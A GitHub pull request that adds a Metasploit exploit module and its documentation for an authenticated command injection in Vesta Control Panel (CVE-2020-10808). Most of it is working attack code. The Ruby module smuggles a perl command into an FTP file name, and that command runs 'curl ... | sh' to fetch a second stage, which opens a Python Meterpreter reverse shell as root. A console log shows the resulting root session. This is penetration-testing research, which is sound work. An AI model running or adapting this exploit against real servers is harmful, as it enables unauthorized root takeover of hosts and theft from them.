Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Vesta Control Panel Remote Code Execution 0day #13094

Merged
merged 7 commits into from Apr 13, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
120 changes: 120 additions & 0 deletions documentation/modules/exploit/linux/http/vestacp_exec.md
@@ -0,0 +1,120 @@
## Vulnerable Application
This module exploits command injection vulnerability in v-list-user-backups bash script file. Low privileged authenticated users can execute arbitrary commands under the context of the root user.

To exploit this vulnerability, an authenticated attacker with low privileges can request VestaCP backup a file whose file name starts with a '.', followed by the ';' character to escape the current command, and finally the command they wish to execute. During the user backup process, this file name will be evaluated by the v-backup-user bash script, which will not perform appropriate input validation prior to passing this file name to an eval() call. As result, when an attacker tries to list existing backups the injected command will be executed by the v-backup-user bash script and will result in the attacker's injected command being executed as the root user.

## Installing the Vulnerable Application on Ubuntu 18.03 LTS

You can install Vesta Control Panel on Ubuntu 18.04 LTS server with the following commands:

```
ssh root@your.server
curl -O http://vestacp.com/pub/vst-install.sh
bash vst-install.sh
```

Once you have finished the installation, perform the following actions in order to create a unprivileged user:

1 - Go to https://*IP ADDR*:8083/

2 - Login with your administrator account.

3 - Click on the "User" section under the top navigation menu. When you move your mouse over the text for
the "User" section, it will turn orange. This is the link that you need to click!

4 - The URL in your browser should now be https://*IP ADDR*:8083/list/user/

5 - Click on the green plus sign on the left side of the page. When you move your mouse
over this button, it will say "ADD USER".

6 - In the following user creation form that appears, enter values for the "user", "password", "email", "first name",
and "last name" fields. Leave package and language options as is, as these fields do not affect exploitation.

7 - Log out of your admin account.

8 - Browse to https://*IP ADDR*:8083/

9 - Verify that the new low privileged user has been created and that you can log in using their credentials.



## Verification Steps

A successful check of the exploit will look similar to the output shown below:

1. Start `msfconsole`
2. `use exploit/linux/http/vestacp_exec`
3. Set `RHOST`
4. Set `LHOST`
4. Set `USERNAME`
4. Set `PASSWORD`
4. Set `SRVHOST`
4. Set `SRVPORT`
7. Run `exploit`
8. **Verify** that you are seeing `Successfully authenticated to the FTP service` in the console.
9. **Verify** that you are seeing `Successfully uploaded the payload as a file name` in the console.
9. **Verify** that you are seeing `Successfully authenticated to the HTTP Service` in the console.
9. **Verify** that you are seeing `Scheduled backup has ben started. Exploitation may take up to 5 minutes.` in the console.
9. **Verify** that you are seeing `It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...` in the console.
9. **Verify** that you are seeing `First stage is executed ! Sending 2nd stage of the payload` in the console.
15. **Verify** that you are getting a Meterpreter session.

## Ubuntu 18.04 LTS with VestaCP 0.9.26
mdisec marked this conversation as resolved.
Show resolved Hide resolved

```
msf5 > use exploit/linux/http/vestacp_exec
msf5 exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.74.218
RHOSTS => 192.168.74.218
msf5 exploit(linux/http/vestacp_exec) > set USERNAME user11
USERNAME => user11
msf5 exploit(linux/http/vestacp_exec) > set PASSWORD qwe123
PASSWORD => qwe123
msf5 exploit(linux/http/vestacp_exec) > set LHOST 192.168.74.1
LHOST => 192.168.74.1
msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.74.1
SRVHOST => 192.168.74.1
msf5 exploit(linux/http/vestacp_exec) > set SRVPORT 8081
SRVPORT => 8081
msf5 exploit(linux/http/vestacp_exec) > run
[*] Exploit running as background job 32.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.74.1:4444
[*] 192.168.74.218:8083 - Using URL: http://192.168.74.1:8081/poSeL7s
msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload download URI is http://192.168.74.1:8081/poSeL7s
[+] 192.168.74.218:21 - Successfully authenticated to the FTP service
[+] 192.168.74.218:21 - The file with the payload in the file name has been successfully uploaded.
[*] 192.168.74.218:8083 - Retrieving cookie and csrf token values
[+] 192.168.74.218:8083 - Cookie and CSRF token values successfully retrieved
[*] 192.168.74.218:8083 - Authenticating to HTTP Service with given credentials
[+] 192.168.74.218:8083 - Successfully authenticated to the HTTP Service
[*] 192.168.74.218:8083 - Starting scheduled backup. Exploitation may take up to 5 minutes.
[+] 192.168.74.218:8083 - Scheduled backup has been started !
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[+] 192.168.74.218:8083 - First stage is executed ! Sending 2nd stage of the payload
[*] Sending stage (53755 bytes) to 192.168.74.218
[*] Meterpreter session 8 opened (192.168.74.1:4444 -> 192.168.74.218:58790) at 2020-04-11 14:35:23 +0300

msf5 exploit(linux/http/vestacp_exec) > sessions -i 8
[*] Starting interaction with 8...

meterpreter > shell
Process 42978 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
meterpreter > shell
[+] 192.168.74.218:8083 - It seems scheduled backup is done ..! Triggering the payload <3

#
```
276 changes: 276 additions & 0 deletions modules/exploits/linux/http/vestacp_exec.rb
@@ -0,0 +1,276 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info={})
super(update_info(info,
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",
'Description' => %q{
This module exploits an authenticated command injection vulnerability in the v-list-user-backups
bash script file in Vesta Control Panel to gain remote code execution as the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
['CVE', '2020-10808']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 300,
'Payload' => 'python/meterpreter/reverse_tcp'
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => true,
'DisclosureDate' => "Mar 17 2020",
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'Reliability' => [ FIRST_ATTEMPT_FAIL, ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ],
}
))

register_options(
[
Opt::RPORT(8083),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
deregister_options('FTPUSER', 'FTPPASS')
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def login
#
# This is very simple login process. Nothing important.
# We will be using cookie and csrf_token across the module as instance variables.
#
print_status('Retrieving cookie and csrf token values')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
})

unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
end

if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
end

@cookie = res.get_cookies
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''

if @csrf_token.empty?
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
end

print_good('Cookie and CSRF token values successfully retrieved')

print_status('Authenticating to HTTP Service with given credentials')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'cookie' => @cookie,
'vars_post' => {
'token' => @csrf_token,
'user' => username,
'password' => password
}
})

unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end

if res.body.include?('Invalid username or password.')
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end

if res.body.include?('Invalid or missing token')
fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
end

if res.code == 302
if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
end
@cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
end

end

def start_backup_and_trigger_payload
#
# Once a scheduled backup is triggered, the v-backup-user script will be executed.
# This script will take the file name that we provided and will insert it into backup.conf
# so that the backup process can be performed correctly.
#
# At this point backup.conf should contain our payload, which we can then trigger by browsing
# to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain
# remote code execution) if no other backup processes are currently running.
#
# As a result, the exploit will check to see if a backup is currently running. If one is, it will print
# 'An existing backup is already running' to the console until the existing backup is completed, at which
# point it will trigger its own backup to trigger the command injection using the malicious command that was
# inserted into backup.conf

print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')

is_scheduled_backup_running = true

while is_scheduled_backup_running

# Trigger the scheduled backup process
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
})

if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
# Due to a bug in send_request_cgi we must manually redirect ourselves!
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
})
if res && res.code == 200
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
# An existing backup is taking place, so we must wait for it to finish its job!
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
sleep(30)
elsif res.body.include?('Task has been added to the queue.')
# Backup process is being initiated
print_good('Scheduled backup has been started ! ')
else
fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')
end
else
# The web server couldn't reply to the request within given timeout window because our payload
# executed in the background. This means that the res object will be 'nil' due to send_request_cgi()
# timing out, which means our payload executed!
print_good('Payload appears to have executed in the background. Enjoy the shells <3')
is_scheduled_backup_running = false
end
else
fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')
end
end
end

def payload_implant
#
# Our payload will be placed as a file name on FTP service.
# Payload length can't be more then 255 and SPACE can't be used because of a
# bug in the backend software.
# s
# Due to these limitations, the payload is fetched using curl before then
# being executed with perl. This perl script will then fetch the full
# python payload and execute it.
#
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command stagers should be able to operate even with these restrictions, were there any issues you noticed?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I haven't noticed specific issue but I choose meterpreter payload delivery via web because of following reasons:

  • Meterpreter is lovely ❤️ I always go for it if it's possible.

  • Raw cmd stagers contains lots of special chars , such as < > & " etc etc , which are usually cause a syntax errors during exploitation of these type of vulnerabilities. So I have to must black-listed almost all of them, which means final payload will always be perl{IFS}-e{IFS} template no matter what type of cmd stager is being used.

  • Specially when you encode python meterpreter stager into the perl{IFS}-e{IFS} template, there is no way to keep it shorter then file name length. So that means even if I support multiple payload platform, I have to use web delivery when python payload selected, which brings more and more if-else states in the module. I'm not even mentioning about supporting linux elf binary stagers, which brings even moreeee if-elses to module and bash codes on the server. At some point, I told my self "Meeeh, that's getting complicated :D why don't we just focus python meterpreter"

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, using a library is ideal, but if the vuln is specific enough on restrictions, it's probably best to do custom encoding instead of working around the library. Fewer regressions may be anticipated in this case.

That said, I would make my best effort to make the library work, and I would modify the library if possible, but that may be more regression-prone. I think what you've done is fine in this case, and the module will continue to work into the future.


# Yet another datastore variable overriding.
mdisec marked this conversation as resolved.
Show resolved Hide resolved
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = 21
datastore['FTPUSER'] = username
datastore['FTPPASS'] = password

#
# Connecting to the FTP service with same creds as web ui.
# Implanting the very first stage of payload as a empty file.
#
if (not connect_login)
fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')
end
print_good('Successfully authenticated to the FTP service')

res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
if res.nil?
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
end
print_good('The file with the payload in the file name has been successfully uploaded.')
disconnect

# Revert datastore variables.
datastore['RPORT'] = port_restore
datastore['SSL'] = true if ssl_restore
end

def exploit
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
start_http_server
payload_implant
login
start_backup_and_trigger_payload
stop_service
end

def on_request_uri(cli, request)
print_good('First stage is executed ! Sending 2nd stage of the payload')
second_stage = "python -c \"#{payload.encoded}\""
send_response(cli, second_stage, {'Content-Type'=>'text/html'})
end

def start_http_server
#
# HttpClient and HttpServer use same SSL variable :(
# We don't need SSL for payload delivery so we
# will disable it temporarily.
#
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
print_status("Second payload download URI is #{get_uri}")
# We need to use instance variables since get_uri keeps using
# the SSL setting from the datastore.
# Once the URI is retrieved, we will restore the SSL settings within the datastore.
@second_stage_url = get_uri
datastore['SSL'] = true if ssl_restore
end
end